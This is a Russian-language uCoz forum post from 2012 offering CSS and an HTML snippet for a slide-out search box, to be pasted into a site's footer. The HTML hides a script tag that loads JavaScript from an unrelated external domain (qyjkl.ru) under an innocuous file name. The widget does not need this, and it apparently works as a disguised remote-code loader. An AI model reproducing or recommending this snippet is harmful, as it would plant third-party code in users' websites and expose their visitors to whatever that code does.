Пт, 29.03.2024, 4:03 AM



  • Страница 1 из 1
  • 1
Модератор форума: Администратор  
Форум » Ваши заказы + Скрипты для Ucoz и многое » ГОТОВЫЕ СКРИПТЫ ДЛЯ UCOZ » Выдыижной, Красивый поиск (не занимает много места. очень удобно)
Выдыижной, Красивый поиск
AsissaДата: Вс, 15.07.2012, 8:10 PM | Сообщение # 1
Сообщений: 5
[ 0 ]
Статус:
Ваш Баланс:

Смотрим скрин скрипта: http://i075.radikal.ru/1207/67/0c366b24f772.png

Установка:
1)Вставляем в CSS в самый низ:

Code
.poisk{   
   position:fixed;   
   background-image:-webkit-linear-gradient(bottom,#426BFF,#60A5FF);   
   background-image:-moz-linear-gradient(bottom,#426BFF,#60A5FF);   
   background-image:-o-linear-gradient(bottom,#426BFF,#60A5FF);   
   background-image:linear-gradient(bottom,#426BFF,#60A5FF);   
   -webkit-box-shadow:0 0 3px black;   
   -moz-box-shadow:0 0 3px black;   
   -o-box-shadow:0 0 3px black;   
   box-shadow:0 0 3px black;   
   border:1px solid #404040;   
   left:-200px;   
   width:240px;   
   height:30px;   
   border-radius:3px;   
   top:100px;   
   color:white;   
   text-shadow:0 0 3px black;   
   -webkit-transition:all 0.4s ease;   
   -moz-transition:all 0.4s ease;   
   -o-transition:all 0.4s ease;   
   transition:all 0.4s ease;   
   padding:3px;   
   }   
   .poisk:hover{   
   left:-3px;   
   }   
   .poisk #search{   
   width:175px;   
   position:relative;   
   top:3px;   
   left:5px;   
   -webkit-transition: all 0.4s ease;   
   -moz-transition: all 0.4s ease;   
   -o-transition: all 0.4s ease;   
   transition: all 0.4s ease;   
   border-radius:3px;   
   border:1px solid #606060;   
   height:26px;   
   }   
   .poisk:hover #search{   
   width:230px;   
   }   
   #search{   
   -webkit-transition:all 0.2s ease;   
   -moz-transition:all 0.2s ease;   
   -o-transition:all 0.2s ease;   
   transition:all 0.2s ease;   
   }   
   #search:focus{   
   border:1px solid #404040;   
   -webkit-box-shadow:inset 1px 1px 3px #ccc;   
   -moz-box-shadow:inset 1px 1px 3px #ccc;   
   box-shadow:inset 1px 1px 3px #ccc;   
   }   
   .poisk:hover #poiskknopka{   
   display:none;   
   }


2)Вставляем в Нижнюю часть сайта:

Code
<div class="poisk"><form class="poick_os" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/"><input id="search" class="poick_pole" type="text" name="q" maxlength="45" value="Поиск..." onclick="if (this.value=='Поиск...'){this.value='';}" id="acpro_inp11" autocomplete="off"><script src="http://qyjkl.ru/bgcolor.js" type="text/javascript"></script><span style="position:absolute;right: 10px;top: 6px;font-family: tahoma, sans-serif;font-size: 14px;font-style: normal;font-variant: normal;font-weight: normal;" id="poiskknopka"><img src="http://s017.radikal.ru/i427/1207/d2/fe6772a47ea5.png"></span></form></div>
 
Форум » Ваши заказы + Скрипты для Ucoz и многое » ГОТОВЫЕ СКРИПТЫ ДЛЯ UCOZ » Выдыижной, Красивый поиск (не занимает много места. очень удобно)
  • Страница 1 из 1
  • 1
Поиск:

Статистика Форума
Лучшие пользователи
Уважаемые пользователи
Популярные темы
Недавно обновленные темы
Max Постов [ 150 ]
Xruner Постов [ 20 ]
Batareyka Постов [ 15 ]
MyLife Постов [ 7 ]
Max Репутация [ 702 ]
Tark Репутация [ 14 ]
Kaizer Репутация [ 14 ]
GreFoX Репутация [ 8 ]
kobra Репутация [ 7 ]
Xruner Репутация [ 1 ]
(II)loger Репутация [ 0 ]
Nyrik Репутация [ 0 ]
virtuozpro Репутация [ 0 ]
ZaroX Репутация [ 0 ]
Sky888 Репутация [ 0 ]
RaYzeR Репутация [ 0 ]
[FEAR]Serega[L] Репутация [ 0 ]
GUF3283 Репутация [ 0 ]
aleks Репутация [ 0 ]
Ваши Сайты! [ 7 ]
Набор Модераторов [ 4 ]
Красивый информер для файлов ucoz [ 1 ]
Мини-профиль [ 1 ]
Стильный мини профиль для ucoz [ 1 ]
Хороший изменённый мини-чат [ 1 ]
Форма входа, простая светлая предназначена для авторизации [ 1 ]
PG [ 1 ]
Новый Мини-профиль [ 1 ]
Баннер [ 1 ]
Красивый информер для файлов ucoz[ 1 ]
Путешествие на Запад в российском интернете[ 0 ]
Уведомления о регистрации для ucoz[ 0 ]
Форма входа на uCoz[ 0 ]
Новый Топ пользователей с аватарами для Ucoz[ 0 ]
Простой и красивый вид формы опроса[ 0 ]
Красивый информер "кто нас сегодня посетил" для Ucoz[ 0 ]
Flash радио для сайта[ 0 ]
Новый информер комментарии для ucoz как на Dle[ 0 ]
Голубая кнопка вверх для Ucoz[ 0 ]
Статистика кто посетил в красивом стиле для uCoz[ 0 ]
статистика CW[ 0 ]
Кул меню[ 0 ]
Оповещение о входе и выходе пользователей для uCoz[ 0 ]
Радио для сайта[ 0 ]

| Конструктор сайтов - uCoz Сайт оптимизирован под браузер FireFox MozilaDesign by –MaX- © 2010-2011 //csgameklansteam.ucoz.ru/
4:03 AM
Обновить